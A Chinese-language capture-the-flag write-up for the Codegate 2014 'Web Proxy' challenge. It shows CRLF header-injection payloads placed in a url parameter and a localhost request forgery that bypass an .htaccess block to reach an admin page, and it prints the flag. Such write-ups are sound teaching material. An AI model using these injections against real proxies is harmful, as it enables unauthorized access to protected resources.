NO CTF NO LIFE

Codegate CTF Preliminary 2014 200 Web Proxy

這題被Orange秒殺了
我是賽後才解出來的 Orz


 □ description
==========================================
http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/
http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/

兩個網址是相同的
點開是一個proxy頁面
輸入網址後
會將網頁的部分內容和header給印出來

打開source code可以看到
<!-- admin/index.php -->
嘗試存取 http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.php

403 Forbidden

這題的方向應該很明確了
透過proxy去存取admin的頁面
題目的環境是apache
應該是透過.htaccess去擋的
不過似乎沒辦法拿到設定

先隨便跳轉一個網頁
http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=www.google.com
會發現這個proxy是透過參數url去決定轉址頁面
猜測是透過 header('Location:'+ $url); 去做轉址
試試看猜測是否正確

http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=www.google.com%2f 
HTTP/1.1%0d%0a
Host: 123%0d%0a
%0d%0a

...
Date: Tue, 25 Feb 2014 19:00:30 GMT
Server: gws Content-Length: 261
X-XSS-Protection: 1; mode=block

喔喔 看起來有反應
還意外發現google的XSS protect XD
所以這邊我們可以偽造header

但是網站好像有做過濾
只要包含58.229.183.24都會被擋下來
顯示 Access Denied
改嘗試從localhost去連頁面
url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/

HTTP/1.1 200 OK
Date: Tue, 25 Feb 2014 18:49:08 GMT
Server: Apache/2.4.6 (Ubuntu)

如此就繞過.htaccess的限制了 lol
由於只會顯示部分的網頁內容
剛剛提到到偽造header就可以派上用場
在header中加入Range可以控制顯示內容

...
Host: 123%0d%0a
Range: bytes=0-100%0d%0a
%0d%0a

慢慢dump內容,結果發現....

Access Denied
<br> 100

好吧 看來code應該也是有做些限制
嘗試改成Host: localhost
....fail again
在這邊卡關了一陣子
決定還是把全部內容dump出來
結果發現...

_SERVER[HTTP_HOST]=="hackme")--></body>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

lol 所以改成Host: hackme
這題就過了

hello admin<br>
Password is WH0_IS_SnUS_bI1G_F4N

flag:WH0_IS_SnUS_bI1G_F4N